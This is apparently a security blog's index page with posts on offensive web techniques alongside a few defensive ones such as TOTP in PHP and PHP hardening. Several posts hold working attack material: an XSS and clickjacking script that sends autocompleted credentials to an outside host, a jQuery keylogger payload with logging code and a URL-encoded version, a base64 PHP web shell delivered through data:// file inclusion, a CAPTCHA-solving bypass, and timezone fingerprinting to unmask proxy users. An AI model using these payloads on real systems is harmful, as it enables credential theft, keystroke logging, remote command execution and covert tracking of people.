Extending Burp Suite to solve reCAPTCHA

By extending the Burp Suite and integrating it with a CAPTCHA solving farm you can enable the automated bypassing of CAPTCHA within all burp tools; seamlessly replacing all CAPTCHA with their correct solutions. This post will show how I’ve extended Burp and integrated it with the DeathByCaptcha API to solve reCAPTCHA.

Several services exist for decoding CAPTCHA, although DeathByCaptcha seems pretty good and from the initial tests I’m seeing a 99.7% accuracy rate (with reCAPTCHA at least) – The premise for most of these services is simple, upload your CAPTCHA to the API and poll for a response until it is solved by someone at the other end. DeathByCaptcha currently charges $13.90 per 10,000 solutions. The API is a simple REST interface and it normally takes only a few seconds to decode the image.

The concept:
Burp Extender allows you to hook and modify all HTTP responses before they are used by any of the tools in the Burp Suite. The idea behind the Burp Extender extension I’ve written is to intercept all of the HTTP responses, examine them for the reCAPTCHA script and replace the input fields with the solution from DeathByCaptcha. This will effectively turn reCAPTCHA into a nonce or one-time-token which Burp 1.4 macros can easily handle in a similar way to CSRF tokens.

Continue reading

Posted in Burp | Tagged , | Leave a comment

Decrypting suhosin sessions and cookies.

The suhosin module provides transparent cookie and session encryption out of the box to PHP applications. Once enabled any session values stored on disk are encrypted with rijndael and a slight variation on base64 encoding, the same applies to any cookies that are stored on the client. Many people rely solely on this encryption to protect them against parameter tampering attacks.

This post will explain why suhosin encryption is not necessarily as secure as you might think and how its default configuration should not be relied upon to protect the content of sessions and cookies.

Basic suhosin encryption settings

First you need to understand the PHP suhosin session and cookie settings and how these affect access to the session and cookie data, in particular how they affect the generation of the encryption key used to protect the data. There are six settings for both suhosin.session and suhosin.cookie these are their defaults:

Parameter Sessions Cookies
encrypt On Off
cryptkey <blank> <blank>
cryptraddr 0 0
cryptua Off On
cryptdocroot On On
checkraddr 0 0
Parameter Description
Encrypt Turns on the transparent encryption
cryptkey Custom string added to the encryption key – blank by default.
cryptraddr The number of octets of the users IP to add to the encryption key
cryptua Adds the user agent string to the encryption key
cryptdocroot Adds the document root as defined by Apache to the key
checkraddr Has no affect on the encryption key but prevents users on other IP addresses accessing the session data once decrypted.

How Suhosin generates the encryption key

As you can see, the more Suhosin settings that are enabled the more complex the encryption key will become – sessions by default are encrypted using solely the document root where as cookies use a concatenation of both the document root and user agent string. The key will always be built in the same way and take the order:

Continue reading

Posted in PHP | Tagged , , , | 2 Comments

Clickjacking and XSS for reading autocomplete credentials.

By combining Cross Site Scripting (XSS) with Clickjacking and JavaScript it is possible to extract passwords and data stored within the browsers Autocomplete cache.

Autocomplete is a feature supported by all browsers to cache input field values – it can also be used to save user credentials – for example the WordPress login interface has autocomplete enabled. Below is a cut down version of the WordPress login form:

<form name="loginform" id="loginform" action="/wp-login.php" method="post">
   <input type="text" name="log" id="user_login" class="input" value="" />
   <input type="password" name="pwd" id="user_pass" class="input" value="" />
   <input name="rememberme" type="checkbox" id="rememberme" value="forever" />
   <input type="submit" name="wp-submit" id="wp-submit" value="Log In" />
   <input type="hidden" name="redirect_to" value="" />
   <input type="hidden" name="testcookie" value="1" />
</form>

In the ideal world of a hacker they could access this data using the document.loginform.user_logon.value property. This would be extremely useful as it would enable an attacker to harvest stored credentials using just a simple reflected XSS. Sadly as a security feature JavaScript is unable to access the autocomplete input data and instead returns a null string unless the submit button has been pressed (alert(document.loginform.user_logon.value) will not work).

In order to prevent autocomplete from caching the wrong credentials for the wrong domain the browser ties its autocomplete data by destination domain (what’s in the action parameter of your form tag), and by field name (the name of the text input box). This means an attacker can’t place a form on his own domain and hope its automatically completed with the users cached credentials. Autocomplete will however complete fields it recognises on the same domain regardless of their page.

By using a combination of reflected XSS and click-jacking its possible to harvest the users credentials that are cached in autocomplete. The first step is to find a page on the same domain that is vulnerable to XSS. Once you’ve found a page you need to insert a new form into the page as follows:

document.write(
'<form name="loginform" id="loginform" action="" method="post">' +
'   <input type="text" name="log" id="user_login" />' +
'  <input type="password" name="pwd" id="user_pass" />' +
'  <input type="submit" name="wp-submit" id="wp-submit" value="Log In" />' +
'</form>'
);

This will give you a form that gets filled with autocomplete data like so:

Form inserted into page using XSS

As we cant directly access the values of the autocomplete data we need to convince the user to click on the submit button. All the time they can see our blatant XSS attack they are unlikely too. So next we make both the text fields disappear with a style=”display:none” attribute – we also remove the text from the login button.

The page now looks like a normal page however with a tiny login button the chances of the user clicking on it are remote. The new page will look something like this:

Input fields hidden using XSS

The next step is to increase the size of the login button using the following CSS style, this will make it take over the entire browser window and look slightly less suspicious.

width:100%; height:100%; position:absolute; top:0; left:0; z-index:1000;

Giant button over the entire page

Now we have a giant button taking over the entire site. However as it currently stands all that will happen when the user clicks on the giant button is that their credentials will be posted to the same domain. As we cant change the domain to which the form posts with out loosing the autocomplete data we need to add an onsubmit handler to our injected form. As long as the form submission is triggered with a mouse click the onsubmit JavaScript handler will be able to access to the .value properties of the text boxes – these can then be sent to a domain controlled by the attacker. To combat the fact that the page looks like a giant button we set its opacity to 0 which renders the button totally invisible.

document.write(
'<form action="" method="get" name="loginform" style="width:100%; height:100%;" onsubmit="doit();">' +
' <input type="text" name="username" style="display:none;"/>' +
' <input type="password" name="password" style="display:none;"/>' +
' <input type="submit" name="login" value="" style="width:100%; height:100%; position:absolute; top:0; left:0; filter:alpha(opacity=0); opacity:0; color:#ffffff;"/>' +
'</form>
');

function doit() {
 document.location = 'http://example.com/capture.php?user=' + document.loginform.username.value + '&password=' + document.loginform.password.value;
}

Now when they click anywhere on the page their click will be hijacked by the giant transparent button, their credentials will be forwarded to the domain controlled by the attacker and the attacker will gain control over the account. The use of Autocomplete for sensitive forms is a bad idea – I have no idea why its enabled for such a popular application such as WordPress.

The attack described above is crude and not particularly sophisticated – with a little time and effort such an attack would be virtually undetectable by the end user.

Posted in JavaScript | Tagged , , | Leave a comment

JavaScript and Daylight Savings for tracking users.

Each country has their own timezone – although timezones are not generally unique variations in the offset can enable a website using JavaScript to pinpoint your location and operating system to an alarming degree of accuracy. Most countries time differs from UTC by increments of 1 hour and this is generally the case for every 15 degress you travel east or west of the meridian – of course there are some exceptions, countries such as Iran have offsets of 3hrs 30mins, Nepal (+5:45) and Chatham Island (+12:45). If your unfortunate enough to live in Nepal, Iran, or Chatham Islands its very easy for JavaScript to identify your location just using Date.getTimeZoneOffset().

Similarly the following areas have distinct timezones:

  • Marquesas Islands -09:30
  • Venezuela -04:30
  • Labrador and Newfoundland -03:30
  • Brazilian Ocean Islands -02:00
  • Iran +03:30
  • Afghanistan +04:30
  • Nepal +05:45
  • Myanmar +06:30
  • Caiguna-Eucia +08:45
  • Lord Howe Island +10:30
  • Norfolk Island +11:30
  • Kiribati Line Islands +14:00

This only affects a few million people in a few specific locations and it makes it hard to establish what country someone is in who shares for example, the -11:00 timezone. However, many countries, states or territories observe or at some stage have experimented with DST (Daylight Savings Time). Mitchigan for example experimented briefly with DST in 1975, Western Australia in 1972 and Fiji in 2009. Places tend to choose different start and end dates and up until 2008 Brazil used to change the time that they entered DST each year. These differences can be used to distinguish a users country from other countries in the same offset.

Operating systems require a list of these changes in order to know when to change the time. While the name of the timezone and the dates that the clock changes is not directly accessible via the JavaScript Date object the current timezone can be inferred by calculating the dates that the TimeZoneOffset changes.

Using the Date object its possible to loop through all the days from 1970 to 2010 and observe when the TimeZoneOffset changes (1970 is the earliest that the time zone database goes back). By recording the dates when the offset changes we can create a fingerprint that may help to locate a users position:

var d        = new Date();
var i        = d.getTime();
var oldTime  = d.getTimezoneOffset();
var fp       = '';

d.setTime(0);

for (var i = 0; i < 1317731928000; i += 86400000) {
     d.setTime(i);
     newTime = d.getTimezoneOffset();
     if (newTime != oldTime) {
        timeZone += (newTime + '@' + Math.round(i / 1000) + ';');
        oldTime = newTime;
     }
}

When run on Linux in the Firefox browser the script will create strings such as the following which are unique and identify users in New South Wales, Australia:

-600@39618001; -660@55346401; -600@71067601; -660@86796001; -600@102517201; -660@118850401; -600@134571601; -660@150300001; -600@166021201; -660@181749601; -600@197470801; -660@213199201; -600@228920401; -660@244648801; -600@260370001; -660@276098401; -600@291819601; -660@308152801; -600@323874001; -660@339602401; -600@355323601; -660@371052001; -600@386773201; -660@402501601; -600@418222801; -660@433951201; -600@449672401; -660@466005601; -600@481726801; -660@497455201; -600@513176401; -660@528904801; -600@544626001; -660@560354401; -600@576075601; -660@591804001; -600@607525201; -660@623253601; -600@638974801; -660@655308001; -600@671029201; -660@686757601; -600@702478801; -660@718207201; -600@733928401; -660@749656801; -600@765378001; -660@781106401; -600@796827601; -660@812556001; -600@828882001; -660@844610401; -600@860331601; -660@876060001; -600@891781201; -660@907509601; -600@923230801; -660@938959201; -600@954680401; -660@970408801; -600@986130001; -660@1002463201; -600@1018184401; -660@1033912801; -600@1049634001; -660@1065362401; -600@1081083601; -660@1096812001; -600@1112533201; -660@1128261601; -600@1143982801; -660@1159711201; -600@1175432401; -660@1191765601; -600@1207486801; -660@1223215201; -600@1238936401; -660@1254664801; -600@1270386001; -660@1286114401;

A good example is that of Istanbul (Turkey), Minsk (Belarus) and Jerusalem (Israel) – All share the +0200 Timezone but all have observed DST at differing times since 1970 creating three different signatures:

Istanbul:
-180@39132001; -120@57790801; -180@70581601; -120@89240401; -180@102031201; -120@120690001; -180@133480801; -120@152139601; -180@165535201; -120@183589201; -180@196984801; -120@215643601; -180@228434401; -120@247093201; -180@259884001; -120@278542801; -180@291333601; -120@309992401; -180@323388001; -120@341442001; -180@354837601; -120@372891601; -180@386287201; -120@404946001; -180@417736801; -120@436395601; -180@449186401; -120@467845201; -180@480636001; -120@499294801; -180@512690401; -120@530744401; -180@544140001; -120@562194001; -180@575589601; -120@594248401; -180@607039201; -120@625698001; -180@638488801; -120@657147601; -180@669938401; -120@688597201; -180@701992801; -120@720046801; -180@733442401; -120@752101201; -180@764892001; -120@783550801; -180@796341601; -120@815000401; -180@827791201; -120@846450001; -180@859845601; -120@877899601; -180@891295201; -120@909349201; -180@922744801; -120@941403601; -180@954194401; -120@972853201; -180@985644001; -120@1004302801; -180@1017093601; -120@1035752401; -180@1049148001; -120@1067202001; -180@1080597601; -120@1099256401; -180@1112047201; -120@1130706001; -180@1143496801; -120@1162155601; -180@1174946401; -120@1193605201; -180@1207000801; -120@1225054801; -180@1238450401; -120@1256504401; -180@1269900001; -120@1288558801;

Jerusalem:
-180@39477601; -120@55371601; -180@71532001; -120@86821201; -180@102981601; -120@118875601; -180@134431201; -120@150325201; -180@165880801; -120@181774801; -180@197330401; -120@213224401; -180@228780001; -120@244674001; -180@260834401; -120@276123601; -180@292284001; -120@308178001; -180@323733601; -120@339627601; -180@355183201; -120@371077201; -180@386632801; -120@402526801; -180@418082401; -120@433976401; -180@450136801; -120@466030801; -180@481586401; -120@497480401; -180@513036001; -120@528930001; -180@544485601; -120@560379601; -180@575935201; -120@591829201; -180@607989601; -120@623278801; -180@639439201; -120@655333201; -180@670888801; -120@686782801; -180@702338401; -120@718232401; -180@733788001; -120@749682001; -180@765237601; -120@781131601; -180@797292001; -120@812581201; -180@828741601; -120@844635601; -180@860191201; -120@876085201; -180@891640801; -120@907534801; -180@923090401; -120@938984401; -180@955144801; -120@970434001; -180@986594401; -120@1002488401; -180@1018044001; -120@1033938001; -180@1049493601; -120@1065387601; -180@1080943201; -120@1096837201; -180@1112392801; -120@1128286801; -180@1144447201; -120@1159736401; -180@1175896801; -120@1191790801; -180@1207346401; -120@1223240401; -180@1238796001; -120@1254690001; -180@1270245601; -120@1286139601;

Minsk:
-180@39045601; -120@57790801; -180@70495201; -120@89240401; -180@101944801; -120@120690001; -180@133999201; -120@152139601; -180@165448801; -120@183589201; -180@196898401; -120@215643601; -180@228348001; -120@247093201; -180@259797601; -120@278542801; -180@291247201; -120@309992401; -180@323301601; -120@341442001; -180@354751201; -120@372891601; -180@386200801; -120@404946001; -180@417650401; -120@436395601; -180@449100001; -120@467845201; -180@481154401; -120@499294801; -180@512604001; -120@530744401; -180@544053601; -120@562194001; -180@575503201; -120@594248401; -180@606952801; -120@625698001; -180@638402401; -120@657147601; -180@670456801; -120@688597201; -180@701906401; -120@720046801; -180@733356001; -120@752101201; -180@764805601; -120@783550801; -180@796255201; -120@815000401; -180@828309601; -120@846450001; -180@859759201; -120@877899601; -180@891208801; -120@909349201; -180@922658401; -120@941403601; -180@954108001; -120@972853201; -180@985557601; -120@1004302801; -180@1017612001; -120@1035752401; -180@1049061601; -120@1067202001; -180@1080511201; -120@1099256401; -180@1111960801; -120@1130706001; -180@1143410401; -120@1162155601; -180@1174860001; -120@1193605201; -180@1206914401; -120@1225054801; -180@1238364001; -120@1256504401; -180@1269813601; -120@1288558801;

This technique is handy for helping to establish the identify of users who are attempting to mask their locations by using proxy servers alone. Different operating systems may also yield slightly different results enabling you to use this technique to fingerprint both their OS and location.

Posted in JavaScript | Tagged , , | Leave a comment

Google TOTP Two-factor Authentication for PHP

At the beginning of the year Google released 2 Factor Authentication (2FA) for G-Mail providing an application for Android, IPhone and Blackberry called Google Authenticator to generate one time login tokens. This post will show how to implement Google 2FA to protect web applications from stolen credentials.

Google Authenticator is based on RFC 4226 – a Time based One Time Password (TOTP) which is initialised using a 16 digit base 32  (RFC 4648) encoded seed value. Initial seeds used for the TOTP can be entered into the Google Authenticator via a camera using QR codes or via the keyboard. Google has also provided a PAM module allowing users to integrate 2FA for sshd.

A module can be written to support the Google TOTP in any language – the only caveat with writing a library for PHP is a lack of an RFC 4648 compliant base 32 decoding function. A base 32 function is needed to decode the initial seed. This is probably the most tricky part of implementing Google’s 2FA. The following function can be used:

function base32_decode($b32) {
  $lut = array("A" => 0,       "B" => 1,
               "C" => 2,       "D" => 3,
               "E" => 4,       "F" => 5,
               "G" => 6,       "H" => 7,
               "I" => 8,       "J" => 9,
               "K" => 10,      "L" => 11,
               "M" => 12,      "N" => 13,
               "O" => 14,      "P" => 15,
               "Q" => 16,      "R" => 17,
               "S" => 18,      "T" => 19,
               "U" => 20,      "V" => 21,
               "W" => 22,      "X" => 23,
               "Y" => 24,      "Z" => 25,
               "2" => 26,      "3" => 27,
               "4" => 28,      "5" => 29,
               "6" => 30,      "7" => 31
  );

  $b32    = strtoupper($b32);
  $l      = strlen($b32);
  $n      = 0;
  $j      = 0;
  $binary = "";

  for ($i = 0; $i < $l; $i++) {

       $n = $n << 5;
       $n = $n + $lut[$b32[$i]];
       $j = $j + 5;

       if ($j >= 8) {
           $j = $j - 8;
           $binary .= chr(($n & (0xFF << $j)) >> $j);
       }
  }

  return $binary;
}

This binary seed value will be used in a SHA1 hash along with the current Unix time-stamp to generate one time tokens. The Unix time-stamp is divided by 30 so that the one time password changes every 30 seconds.

function get_timestamp() {
   return floor(microtime(true)/30);
}

Sadly you cant just pass the number from get_timestamp straight into the sha1 function. The time-stamp first needs to be reduced into a binary string of 8 bytes. Since pack doesn’t support 64bit integers we use two unsigned 32 bit integers to make up the binary form.

$binary_timestamp = pack('N*', 0) . pack('N*', $timestamp);

Once you have the binary seed and the binary timestamp you have to pass them into the “hash_mhac” function. This gives you a 20 byte sha1 string.

$hash = hash_hmac ('sha1', $binary_timestamp, $binary_key, true);

This hash is then processed in accordance with RFC 4226 to obtain the one time password.

$offset = ord($hash[19]) & 0xf;

$OTP = (
   ((ord($hash[$offset+0]) & 0x7f) << 24 ) |
    ((ord($hash[$offset+1]) & 0xff) << 16 ) |
    ((ord($hash[$offset+2]) & 0xff) << 8 ) |
    (ord($hash[$offset+3]) & 0xff)
   ) % pow(10, 6);

Now $OTP should contain your one time password. There are however still a couple of small issues to overcome if you want to use this within an application:

  • Your client and server clocks may not be in sync – this could means that when you come to check your token generated by the user that it will fail. To combat this a you can either stipulate that the client and server clocks must be in perfect sync or you need to create a function which checks the tokens against those +/- 2 minutes of the current server time. This will allow your client and server to be up to 2 minutes out but obviously increases the chance that an attacker could correctly guess a one time token.

  • If there is no upper limit on the number of attempts a user can make at guessing a token it may be possible to brute-force the one-time token.

  • If the seed is too small and an attacker can intercept a few tokens it may be possible to brute-force the seed value allowing the attacker to generate new one-time tokens. For this reason Google enforces a minimum seed length of 16 characters or 80-bits.

  • If a token is not marked as invalid as soon as it has been used an attacker who has intercepted the token may be able to quickly replay it to obtain access.

Google Authenticator: Seed value 'PEHMPSDNLXIOG65U'

Seed value 'PEHMPSDNLXIOG65U'

A class for PHP that implements Google TOTP can be downloaded here. Its missing protection against brute-force attacks but otherwise fully functional.

You can check if its working by installing the Google Authenticator application and scanning the QR code to the right – codes generated by the application should match codes generated by the class. The function Google2FA::verify_key should be used to validate the users one time token as it allows the clients clock to drift either side of the server time by 2 minutes.

Custom QR codes can be generated using the Google QR generator at https://www.google.com/chart?chs=200×200&chld=M|0&cht=qr&chl=otpauth://totp/idontplaydarts?secret=SECRETVALUEHERE

Posted in PHP | Tagged , , , , | Leave a comment

Exploit: PHPCaptcha / Securimage is not secure.

Recently I discovered an easy way to bypass PHPCaptcha also known as SecurImage. The method described below will break the CAPTCHA every time, without fail and affects versions 1.0.4 and above. Previous versions are also probably vulnerable tho only exploit code for the MP3 file format (implemented as default since version 2.0.0) is provided.

The flaw in the CAPTCHA stems from the way MP3 and WAV audio codes, intended for use by by the visually impaired, are generated. It is worth noting that even when the user of the site has removed the audio functionality from their displayed CAPTCHA the functionality can still be accessed via forceful browsing to the file called “/securimage_play.php”. This means that unless the administrator of the site has removed the securimage_play.php file that their site is vulnerable to attack.

The audio codes that are generated by PHPCaptcha are created by concatenating a set of audio files (that are publicly accessible in /audio directory). To prevent simple binary analysis of the output the author randomly changes the value of every 64th byte in the generated audio file starting from an initial offset that is also defined by a random integer in the range 1-64. The effect of the mutation means that when you listen to the audio its very hard to determine what letters are being heard. The code used for the mutation is shown below:

    function scrambleAudioData(&$data, $format)
    {
        if ($format == 'wav') {
            $start = strpos($data, 'data') + 4;
            if ($start === false) $start = 44;
        } else { // mp3
            $start = 4;
        }

        $start  += rand(1, 64);
        $datalen = strlen($data) - $start - 256;

        for ($i = $start; $i < $datalen; $i += 64) {
            $ch = ord($data{$i});
            if ($ch < 9 || $ch > 119) continue;

            $data{$i} = chr($ch + rand(-8, 8));
        }
    }

While this prevents simple binary analysis of the generated audio it does not prevent an attacker from building a list of 64 byte strings from the publicly accessible audio samples and using these in comparison against the concatenated audio file. By determining where in the file these strings occur its possible to decode the CAPTCHA with a 100% success rate. The decision by the author to change only the 64th byte of the final audio file is a fatal design flaw.

You can download the PHPCaptcha exploit capable of decoding the MP3 CAPTCHA format. It is currently configured to run against the “sample_form.php” script that comes by default with SecurImage / PHPCaptcha. Below is a video of the exploit running:

No fix is currently available from the author. The only current solution is to remove the securimage_play.php script from your site.

Posted in Exploits, PHP | Tagged , , , , | 11 Comments

Javascript keylogger in JQuery.

I needed to capture someone’s login credentials using cross site scripting. However I had 3 problems. Firstly there was no XSS on the login page, secondly the only XSS was reflected, meaning it only affected the current page and thirdly the HTTPOnly flag was set on the session meaning I couldn’t hijack it.

So I came up with a solution that turns reflected cross site scripting into a crude form of persistent XSS and records the users keystrokes to a remote server. The idea is that you embed some XSS code in a vulnerable page on the same domain as the login page. Its important that its on the same domain so that we can access the contents of the iframe and hook the keyboard input. If its not on the same domain then the browser won’t let you do this.

The general architecture of the exploit looks something like this.

The page with XSS spawns an iframe that fills up the contents of the window and places it over the top of everything currently in the window. The src of the Iframe should be whatever page you want to capture keystrokes from. It then adds a hook to the contents of the iframe so that every time there is a keypress it polls back to a server controlled by the attacker.

The great thing about using the Iframe is that the user can navigate away from the page and the keystroke logger will still be running as the src of the parent Iframe remains the same and it is the parent Iframe in which the key logger resides.

The code:
I used JQuery as I wanted the Key logger to be cross browser compliant, if the site your targeting has JQuery already included then you wont have to embed jQuery and can avoid the script tags all together. I also included a time stamp when sending the keystroke to the remote server as occasionally the GET requests were arriving out of order – having a time stamp enables you to reassemble the keystrokes in the correct order server-side.

<script src="http://code.jquery.com/jquery-1.6.1.min.js"></script>
<iframe src="/login.php" id="w" style="width:100%; height:100%; position:absolute; top:0; left:0; z-index:2; background-color:#ffffff;" onload="$('#w').contents().keypress(function(event) {$.get('http://www.mysite.com/k.php?x='+event.which+'&t='+event.timeStamp,function(data){});});"></iframe>

You don’t even need server side code to do the logging, as long as you have access to your web server error logs you should be able to see all the keystrokes arriving as GET requests. If you did want more friendly server-side code it might look something like this:

$f = fopen("/tmp/log.txt","a+");
fputs($f, $_SERVER['REMOTE_ADDR'] . "\t" . $_GET['t'] . "\t" . chr($_GET['x']) . "\n");
fclose($f);

Encoding the payload:
The full url encoded payload is shown below, both the initial Iframe src page and the destination script for the key strokes are marked in bold. Both will need to be changed if you are to use this.

%3Cscript+src%3D%22http%3A%2F%2Fcode.jquery.com%2Fjquery-1.6.1.min.js%22%3E%3C%2Fscript%3E%3Ciframe+src%3D%22%2Flogin.php%22+id%3D%22w%22+style%3D%22width%3A100%25%3B+height%3A100%25%3B+position%3Aabsolute%3B+top%3A0%3B+left%3A0%3B+z-index%3A2%3B+background-color%3A%23ffffff%3B%22+onload%3D%22%24%28%27%23w%27%29.contents%28%29.keypress%28function%28event%29+%7B%24.get%28%27http%3A%2F%2Fwww.mysite.com%2Fk.php%3Fx%3D%27%2Bevent.which%2B%27%26t%3D%27%2Bevent.timeStamp%2Cfunction%28data%29%7B%7D%29%3B%7D%29%3B%22%3E%3C%2Fiframe%3E

Posted in Exploits, JavaScript | Tagged , , , | Leave a comment

Clickjacking and Phishing with help from the HTML5 JavaScript Sandbox

HTML5 has some nice new features one of which is JavaScript Sandboxing using iframes. Chrome is currently the only browser to support this but you can be sure others will soon follow. The sandbox allows control over what can be executed within an iframe, it provides the following options.

  • allow-same-origin allows iframe content only from the same domain.
  • allow-top-navigation allows the iframe to change the URI of the parent.
  • allow-forms allows the use of forms inside the iframe.
  • allow-scripts allows JavaScript to run inside the iframe.

If no options are specified for the sandbox then the iframe can only display basic HTML. It can be implemented using the iframe sandbox property as follows:

<iframe src="page.php" sandbox="allow-forms allow-scripts">
</iframe>

The feature is great for an attacker as it allows them to now include pages inside an iframe that previously had some Javascript iframe breakout code in place. This is great for Clickjacking or Phishing attacks. Lets take a look the most popular way of breaking out of an iframe and show how by simply sandboxing the iframe we can prevent the JavaScript breakout code from working.

<script type="text/javascript">
	if (top.location!= self.location) {
		top.location = self.location.href
	}
</script>

And this method works great unless the script has been loaded in a sandboxed iframe that doesn’t have the sandboxing options “allow-top-navigation” and “allow-scripts” enabled.

Without either of these options the script just wont work. The great thing is we have some level of granular control, you can have “allow-scripts” on your iframe (which will allow all the JavaScript found in the iframe to run) but you can omit the “allow-top-navigation” which will stop the JavaScript iframe breakout.

There is an elegant solution to prevent this type of attack – the HTTP header “X-Frame-Options” – which is now supported in the latest versions of IE, Firefox, Safari and Chrome. It allows the server to specify if it should allow its content to be loaded from within an iframe by either pages from the same domain (SAMEORIGIN), or not at all (DENY). Surprisingly there aren’t many sites using it.

If your running apache with mod_headers installed you can automatically add this header to all of your pages by adding the following lines to your apache.conf

Header always append X-Frame-Options SAMEORIGIN

Don’t forget, X-Frame-Options isn’t supported in older browsers so its still worth keeping your existing JavaScript iframe breakout code in place.

Posted in HTML5 | Tagged , , , , | 5 Comments

PHP Remote File Inclusion command shell using data://

PHP 5.2 and above provides stream wrappers. The general idea behind the stream wrapper is that you write one that interfaces with other protocols or services and you can still reference the data using your favourite functions. Here we open an ssh2 tunnel using a stream wrapper:

$session = ssh2_connect('example.com', 22);
$stream = fopen("ssh2.tunnel://$session/remote.example.com:1234", 'r');

Another example using the built in data:// stream which decodes base64 strings.

echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');

Streams can be used with functions such as file_get_contents, fopen, include and require etc. and this is where the danger of Remote and Local file inclusion occur.

Before PHP 5.2 when an attacker found a local or remote file inclusion vulnerability he needed to either work out a way to upload PHP code to the server (e.g. via /proc/self/environ) or have another server that he could point the vulnerable script at. Sometimes the server with the vulnerability might be behind a firewall restricting outbound access to the Internet and at other times it might not be possible to write any data to a suitable location on the local file system for inclusion.

Since PHP 5.2 if allow_url_include is enabled we can use the data stream (rather than a remote file) to include executable PHP code. Consider the following example of a vulnerable PHP script:

<? include($_GET['file'] . ".php");

By encoding a PHP script in base64 and then URL encoding any special characters contained within this string we can successfully execute a script. Below we show how phpinfo can be executed using the above script to enumerate more information about the target environment.

<? phpinfo(); die();?>
// Base64 Encoded
PD8gcGhwaW5mbygpOyBkaWUoKTs/Pg==

// URL + Base64 Encoded
PD8gcGhwaW5mbygpOyBkaWUoKTs%2fPg==

// Final URL
index.php?file=data://text/plain;base64,PD8gcGhwaW5mbygpOyBkaWUoKTs%2fPg==

The die statement is there to prevent the execution of the rest of the script or the execution of of the incorrectly decoded “.php” string which is appended to the stream – both of which could cause a WSOD – Displaying phpinfo is fairly basic – you can go a step further and execute shell commands. The following code is a complete GUI command shell.

PHP payload

<form action="<?=$_SERVER['REQUEST_URI']?>" method="POST"><input type="text" name="x" value="<?=htmlentities($_POST['x'])?>"><input type="submit" value="cmd"></form><pre><? echo `{$_POST['x']}`; ?></pre><? die(); ?>

Base64 encoded payload

PGZvcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkkn
XT8+IiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lP
SJ4IiB2YWx1ZT0iPD89aHRtbGVudGl0aWVzKCRfUE9TVFsneCddKT8
+Ij48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm
0+PHByZT48PyAKZWNobyBgeyRfUE9TVFsneCddfWA7ID8+PC9wc
mU+PD8gZGllKCk7ID8+Cgo=

Base64 + URL encoded payload

PGZvcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkk
nXT8%2BIiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBu
YW1lPSJ4IiB2YWx1ZT0iPD89aHRtbGVudGl0aWVzKCRfUE9TVFsne
CddKT8%2BIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iY21k
Ij48L2Zvcm0%2BPHByZT48PyAKZWNobyBgeyRfUE9TVFsneCddf
WA7ID8%2BPC9wcmU%2BPD8gZGllKCk7ID8%2BCgo%3D

Running PHP shell
Local shell using data:// payload

Using a data stream over a standard remote or local file inclusion has several benefits:

  1. It works behind a firewall that blocks outbound traffic.
  2. It has a lower latency as the vulnerable script is not including a remote file.
  3. Its doesn’t require a null-byte to be appended to the end of the script.
  4. It doesn’t require a remote server.

All in all, its a more elegant solution to remote or local file inclusion.

Posted in PHP | Tagged , , | 2 Comments

Hardening and securing PHP on Linux

Hardening PHP on linux to increase security is a complex process involving a plethora of  settings. A while back I developed a script in order to check for any security settings that were out of place.

The idea is that you run the script on your web server and it tells you what security settings are potentially mis-configured based on the rules that it reads from an XML file. Any settings that are not configured in line with best security practices are highlighted in red. It works in a similar way to the Centre for Internet Security’s benchmark scripts for other technologies. The one caveat is that it does need access to the ini_get function and requires a least PHP 5 to run.

The auditing script checks for (amongst other things):

  • Secure session settings.
  • Depreciated functions that might be relied upon.
  • Functions that should be disabled.
  • Dangerous settings that could lead to remote or local file inclusion.
  • Error handling.
  • Constants defined at compile time.

You might disagree with some of the recommended security settings or they might just not suit your current application; you can always change the XML file. A sample of the report generated by the Auditor is shown below.

Hardening PHP using the PHP Auditor

You can download the script and use it to harden  / secure your PHP installation. The tool is by no means a definitive hardening guide and any feedback or suggested rules / settings are welcome.

Download the PHP Auditor

Posted in PHP | Tagged , , , , , | 12 Comments